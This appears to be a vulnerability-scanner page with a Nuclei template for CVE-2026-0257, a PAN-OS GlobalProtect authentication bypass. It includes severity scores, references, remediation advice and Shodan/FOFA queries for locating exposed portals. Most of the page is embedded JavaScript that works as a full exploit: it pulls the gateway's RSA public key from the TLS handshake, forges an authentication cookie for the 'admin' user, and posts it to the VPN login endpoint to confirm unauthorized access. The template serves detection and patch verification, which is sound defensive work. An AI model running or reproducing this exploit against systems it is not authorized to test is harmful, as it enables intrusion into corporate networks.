Palo Alto Networks PAN-OS - Authentication Bypass
CVE-2026-0257
Early Release
Description
Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
Severity
Critical
CVSS Score
9.1
Exploit Probability
42%
Affected Product
pan-os
Published Date
June 1, 2026
Template Author
dhiyaneshdk, sfewer-r7
CVE-2026-0257.yaml
id: CVE-2026-0257
info:
name: Palo Alto Networks PAN-OS - Authentication Bypass
author: dhiyaneshdk,sfewer-r7
severity: critical
description: |
Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
impact: |
Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.
remediation: |
Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.
reference:
- https://security.paloaltonetworks.com/CVE-2026-0257
- https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/
- https://github.com/sfewer-r7/CVE-2026-0257
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-0257
epss-score: 0.41505
epss-percentile: 0.97476
cwe-id: CWE-565
metadata:
verified: true
max-request: 12
vendor: paloaltonetworks
product: pan-os
shodan-query: http.title:"GlobalProtect" port:443
fofa-query: title="GlobalProtect"
tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical
flow: http(1) && javascript(1)
http:
- method: GET
path:
- "{{BaseURL}}/global-protect/login.esp"
- "{{BaseURL}}/sslmgr"
stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
internal: true
dsl:
- "status_code != 0"
- 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "<msg>Invalid parameters</msg>") || contains(tolower(header), "panweb")'
condition: and
javascript:
- args:
Host: "{{Host}}"
Hostname: "{{Hostname}}"
code: |
let net = require("nuclei/net");
let host = Host;
let parts = Hostname.split(":");
let port = parts.length > 1 ? parts[parts.length - 1] : "443";
let user = "admin";
function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); }
function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); }
function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); }
function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; }
function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; }
function b64(a) {
let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
for (let i = 0; i < a.length; i += 3) {
let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i;
r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)];
r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "=";
r += n > 2 ? T[z & 0x3f] : "=";
}
return r;
}
function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; }
function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; }
function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; }
function buildHello(hostname) {
let hb = str2b(hostname), ext = [];
let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb);
let sl = []; u16(sl, sn.length); cat(sl, sn);
u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl);
let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01];
let sb = []; u16(sb, sa.length); cat(sb, sa);
u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb);
let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19];
let gb = []; u16(gb, gr.length); cat(gb, gr);
u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb);
u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00);
let body = []; body.push(0x03, 0x03);
let ts = Math.floor(Date.now() / 1000);
body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff);
for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256));
body.push(0x00);
let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff];
u16(body, cs.length); cat(body, cs);
body.push(0x01, 0x00);
u16(body, ext.length); cat(body, ext);
let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body);
let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs);
return rec;
}
function parseCerts(data) {
let hs = [], i = 0;
while (i + 5 <= data.length) {
let t = data[i], rl = (data[i + 3] << 8) | data[i + 4];
if (i + 5 + rl > data.length) break;
if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]);
i += 5 + rl;
}
let certs = [], j = 0;
while (j + 4 <= hs.length) {
let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3];
if (j + 4 + hl > hs.length) break;
if (ht === 11) {
let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl);
while (k + 3 <= end) {
let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2];
if (k + 3 + cl > end) break;
certs.push(hs.slice(k + 3, k + 3 + cl));
k += 3 + cl;
}
break;
}
j += 4 + hl;
}
return certs;
}
function hasDone(d) {
for (let i = 0; i + 5 <= d.length;) {
let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4];
if (i + 5 + rl > d.length) break;
if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) {
if (d[j] === 14) return true;
j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]);
}
i += 5 + rl;
}
return false;
}
function rdTL(d, p) {
let tag = d[p++], len = d[p++];
if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; }
return { tag: tag, len: len, pos: p };
}
function getRSAKey(der) {
let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p);
if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); }
p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos;
r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len);
let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01];
if (oid.length !== rsaOid.length) return null;
for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null;
p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos;
r = rdTL(der, p); let ms = r.pos, ml = r.len;
if (der[ms] === 0 && ml > 1) { ms++; ml--; }
let modB = der.slice(ms, ms + ml); p = r.pos + r.len;
r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len);
return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length };
}
function forge(n, e, kl, username) {
let ts = Math.floor(Date.now() / 1000).toString();
let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0");
let padLen = kl - pt.length - 3;
if (padLen < 8) return "";
let em = [0x00, 0x02];
for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1);
em.push(0x00); cat(em, pt);
return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl));
}
function encodeCookie(cookie) {
return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D");
}
function testCookie(cookieB64, context) {
let cookieEnc = encodeCookie(cookieB64);
let body = "prot=https&server=" + host +
"&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" +
"&user=" + user + "&passwd=&context=" + context +
"&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" +
"&os-version=Microsoft+Windows+10+Pro+64-bit" +
"&portal-userauthcookie=" + cookieEnc +
"&portal-prelogonuserauthcookie=";
let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" +
"Host: " + host + "\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"User-Agent: GlobalProtect/6.0.0\r\n" +
"Content-Length: " + body.length + "\r\n" +
"Connection: close\r\n\r\n" + body;
let conn = net.OpenTLS("tcp", host + ":" + port);
conn.SetTimeout(10);
conn.Send(req);
let resp = conn.RecvFullString(0);
conn.Close();
return resp;
}
function isGatewaySuccess(resp) {
if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
return resp.indexOf("<status>Success</status>") !== -1 ||
(resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1);
}
function isPortalSuccess(resp) {
if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
return resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1;
}
let result = "";
try {
let hello = buildHello(host);
let conn = net.Open("tcp", host + ":" + port);
conn.SetTimeout(5);
conn.SendHex(toHex(hello));
let raw = [];
for (let a = 0; a < 10; a++) {
try {
let c = conn.Recv(32768);
if (!c || c.length === 0) break;
for (let i = 0; i < c.length; i++) raw.push(c[i]);
if (hasDone(raw)) break;
} catch (e) { break; }
}
conn.Close();
let certs = parseCerts(raw);
for (let i = 0; i < certs.length && result === ""; i++) {
let key = null;
try { key = getRSAKey(certs[i]); } catch (e) { continue; }
if (!key) continue;
let cookie = forge(key.n, key.e, key.kl, user);
if (!cookie) continue;
let gwResp = testCookie(cookie, "gateway");
if (isGatewaySuccess(gwResp)) {
result = "GlobalProtect auth bypass confirmed (gateway): " + user;
break;
}
let portalResp = testCookie(cookie, "portal");
if (isPortalSuccess(portalResp)) {
result = "GlobalProtect auth bypass confirmed (portal): " + user;
break;
}
}
} catch (e) {}
Export(result);
matchers:
- type: dsl
dsl:
- "success == true"
- "contains(response, 'GlobalProtect auth bypass confirmed')"
condition: and
extractors:
- type: dsl
dsl:
- response
# digest: 490a0046304402200bd4ed6134df74679a45f473963663624038dafb97a714f141dff4b19fb02a2302200e75c64d346a6a1e78ed3bb62ba9ef0fd9a1213da3b93fc65bce48ab968c04c2:922c64590222798bb761d5b6d8e729509.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-0257
CWE ID:
cwe-565
Remediation Steps
Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.